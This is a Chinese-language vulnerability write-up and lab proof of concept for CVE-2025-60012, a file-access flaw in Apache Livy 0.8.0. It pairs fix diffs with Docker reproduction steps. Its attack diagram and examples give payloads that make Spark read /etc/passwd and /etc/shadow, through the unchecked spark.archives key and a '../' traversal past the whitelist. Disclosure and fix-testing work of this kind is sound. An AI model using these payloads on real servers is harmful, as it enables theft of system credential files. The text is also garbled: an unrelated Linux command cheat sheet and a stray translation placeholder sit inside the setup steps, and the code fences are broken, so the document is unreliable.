仅供教育和安全研究目的使用。请勿针对非您拥有或未获得明确书面许可的系统进行测试。→ 完整免责声明
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-60012 |
| 严重性 | 中等 (CVSS 6.3) |
| 受影响版本 | Apache Livy 0.7.0-incubating, 0.8.0-incubating — 当连接到 Apache Spark 3.1 或更高版本时 |
| 修复版本 | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: 输入验证不恰当 |
| 披露日期 | 2026-03-13 |
| 报告者 | Furue Hideyuki |
拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交带有精心构造的配置值的 Spark 会话或批处理作业。两个弱点共同作用,允许攻击者引用其允许路径之外的本机文件系统文件:
缺少对 spark.archives 的验证 — Spark 3.1 引入了 spark.archives 作为一种在所有集群管理器中分发归档文件的统一方式。Livy 0.8.0 中硬编码的经过路径验证的配置键列表(HARDCODED_SPARK_FILE_LISTS)不包含 spark.archives。通过此键传递的路径因此从未针对本地文件系统白名单(livy.file.local-dir-whitelist)进行检查,从而允许攻击者引用任何本地文件。
白名单检查中的路径遍历绕过 — 即使对于确实经过验证的配置键,Livy 0.8.0 中的白名单比较也对原始路径使用普通的 Java String startsWith 调用。攻击者可以通过路径遍历绕过此检查:/whitelisted/dir/../../etc/passwd 通过字符串检查,但解析到允许的目录之外。
LivyConf.scala受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scala受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
两个版本均直接从官方 Apache Livy GitHub 仓库克隆到当前工作区,使用以下确切命令:
仓库: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| 版本 | 标签 | 已解析提交 | 本地路径 |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## 精确代码差异
差异通过克隆两个标签的本地仓库(见上表)并运行:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives added to hardcoded file list```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**v0.8.0 中缺失条目的影响:**
当用户提交一个会话,其中包含 `conf: {"spark.archives": "file:///etc/passwd"}` 时,Livy 0.8.0 永远不会对该值调用 `resolveURIs()`,也永远不会根据 `livy.file.local-dir-whitelist` 进行检查。该路径未经验证就被转发给 Spark。
---
### 修复 2 — `Session.scala`:在白名单检查之前进行路径规范化```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
影响(v0.8.0):
原始字符串 startsWith 检查可能通过路径遍历载荷绕过。
示例:如果 `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (已绕过)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (已阻止)
## 攻击向量总结```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
本 PoC 中的所有步骤均在以下系统上执行并验证:
| 组件 | 详情 |
|---|---|
| 主机操作系统 | Ubuntu 24.04.4 LTS (Noble Numbat) |
| 内核 | 6.17.0-14-generic x86_64 |
| 架构 | x86_64 |
| 总内存 | 15.49 GiB |
| Docker 引擎 | 28.2.2 |
| 主机 JDK | OpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal) |
| 容器基础镜像 | eclipse-temurin:11-jdk-focal(JDK 11,Ubuntu Focal) |
| Spark 版本(两个镜像) | 3.1.3 with Hadoop 3.2 |
| Livy 版本 — 存在漏洞的镜像 | 0.8.0-incubating(Scala 2.12 构建) |
| Livy 版本 — 已修复的镜像 | 0.9.0-incubating(Scala 2.12 构建) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## 概念验证
### 概述```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
完整端到端序列——按顺序执行步骤1到4:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **注意:** Livy 在 `docker run` 后大约需要 15–20 秒才能就绪。
> 以下所有步骤均包含在执行 API 调用前显式添加的 `sleep 20`。
---
### 步骤 1 — 构建并启动脆弱环境 (Livy 0.8.0 + Spark 3.1.3)
**文件:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — 绑定在 `0.0.0.0:8998`、本地模式、白名单 = `/opt/safe-data`
**1a. 构建镜像:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
验证 — 镜像已创建:```bash docker images cve-2025-60012-vulnerable
**`find`**:在目录层次结构中搜索文件。
`find /path -name "*.txt"`
**`grep`**:在文件中搜索文本模式。
`grep "pattern" file.txt`
**`man`**:显示系统手册页。
`man ls`
**`apropos`**:搜索手册页名称和描述。
`apropos editor````
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
启动容器:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**验证 — 容器正在运行:**```bash
docker ps --filter name=livy-vulnerable
(没有内容可供翻译。)``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**等待 Livy 启动,然后验证 REST API:**